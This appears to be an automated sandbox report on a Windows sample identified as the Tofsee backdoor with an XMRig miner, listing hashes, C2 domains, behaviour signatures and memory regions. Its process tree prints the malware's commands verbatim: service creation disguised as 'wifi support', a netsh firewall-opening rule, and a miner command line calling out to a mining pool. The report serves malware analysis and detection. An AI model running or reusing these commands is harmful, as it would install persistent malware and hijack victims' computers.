Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/07/2023, 07:26

General

  • Target

    file.exe

  • Size

    250KB

  • MD5

    db1e413167c8f07f9039aced287777f7

  • SHA1

    6ed7c7fb7a8f81c6dc1ed56f433b98502ad698af

  • SHA256

    5c94999358c03c5088370f41bf54d8ecadce66c75b96d88c7e665b7d7566d5b6

  • SHA512

    820200875a2031c649e16529cc4fea175cf53871fe98693df5a537f37bb0ce0d1c591d4f2f43f9a5e2e413fc3436aea017f17776e87b3aa181363bd8efa88299

  • SSDEEP

    3072:05AcY+kvNkSFPWe4jCCxBoIXA+lDD1SKJwxQaZbuB/KjpP:3ASFPWe5A/XXln1/JIZ4Sjp

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2392
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\crtsmgyq\
      2⤵
        PID:212
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\auumpzdp.exe" C:\Windows\SysWOW64\crtsmgyq\
        2⤵
          PID:4508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create crtsmgyq binPath= "C:\Windows\SysWOW64\crtsmgyq\auumpzdp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description crtsmgyq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start crtsmgyq
          2⤵
          • Launches sc.exe
          PID:1576
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1936
      • C:\Windows\SysWOW64\crtsmgyq\auumpzdp.exe
        C:\Windows\SysWOW64\crtsmgyq\auumpzdp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4424

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\auumpzdp.exe

              Filesize

              14.9MB

              MD5

              0d819f20fec53c3962099975f97194b6

              SHA1

              53b37fded5b12f02a0cec6ceeabc51eea821f22d

              SHA256

              ddc12a722de2d05b5e0761ece4d09c1f801601be2cf65fe0b8ac6c837bd459a8

              SHA512

              dabacf7e1fa6aea855f9c3842387f7d8e3c108929956f239a4e89a8341d827a07462446d218b422ad1d1ede2a9100b4e03b9b26f29afa31bd626e7f83c8a9fa5

            • C:\Windows\SysWOW64\crtsmgyq\auumpzdp.exe

              Filesize

              14.9MB

              MD5

              0d819f20fec53c3962099975f97194b6

              SHA1

              53b37fded5b12f02a0cec6ceeabc51eea821f22d

              SHA256

              ddc12a722de2d05b5e0761ece4d09c1f801601be2cf65fe0b8ac6c837bd459a8

              SHA512

              dabacf7e1fa6aea855f9c3842387f7d8e3c108929956f239a4e89a8341d827a07462446d218b422ad1d1ede2a9100b4e03b9b26f29afa31bd626e7f83c8a9fa5

            • memory/2392-134-0x0000000001CA0000-0x0000000001CB3000-memory.dmp

              Filesize

              76KB

            • memory/2392-137-0x0000000000400000-0x0000000001B41000-memory.dmp

              Filesize

              23.3MB

            • memory/2392-139-0x0000000000400000-0x0000000001B41000-memory.dmp

              Filesize

              23.3MB

            • memory/2392-140-0x0000000001CA0000-0x0000000001CB3000-memory.dmp

              Filesize

              76KB

            • memory/4424-198-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-201-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-200-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-199-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-197-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-196-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-195-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4424-190-0x0000000001210000-0x0000000001301000-memory.dmp

              Filesize

              964KB

            • memory/4436-167-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-174-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-161-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-162-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-163-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-164-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-165-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-166-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-155-0x00000000019F0000-0x00000000019F6000-memory.dmp

              Filesize

              24KB

            • memory/4436-168-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-169-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-170-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-172-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-171-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-173-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-158-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-175-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-176-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-177-0x0000000002550000-0x0000000002560000-memory.dmp

              Filesize

              64KB

            • memory/4436-178-0x00000000027E0000-0x00000000027E5000-memory.dmp

              Filesize

              20KB

            • memory/4436-181-0x00000000027E0000-0x00000000027E5000-memory.dmp

              Filesize

              20KB

            • memory/4436-182-0x0000000007240000-0x000000000764B000-memory.dmp

              Filesize

              4.0MB

            • memory/4436-185-0x0000000007240000-0x000000000764B000-memory.dmp

              Filesize

              4.0MB

            • memory/4436-186-0x00000000027F0000-0x00000000027F7000-memory.dmp

              Filesize

              28KB

            • memory/4436-154-0x0000000002200000-0x000000000240F000-memory.dmp

              Filesize

              2.1MB

            • memory/4436-151-0x0000000002200000-0x000000000240F000-memory.dmp

              Filesize

              2.1MB

            • memory/4436-150-0x00000000006C0000-0x00000000006D5000-memory.dmp

              Filesize

              84KB

            • memory/4436-148-0x00000000006C0000-0x00000000006D5000-memory.dmp

              Filesize

              84KB

            • memory/4436-147-0x00000000006C0000-0x00000000006D5000-memory.dmp

              Filesize

              84KB

            • memory/4436-142-0x00000000006C0000-0x00000000006D5000-memory.dmp

              Filesize

              84KB

            • memory/4436-146-0x00000000006C0000-0x00000000006D5000-memory.dmp

              Filesize

              84KB

            • memory/4576-145-0x0000000000400000-0x0000000001B41000-memory.dmp

              Filesize

              23.3MB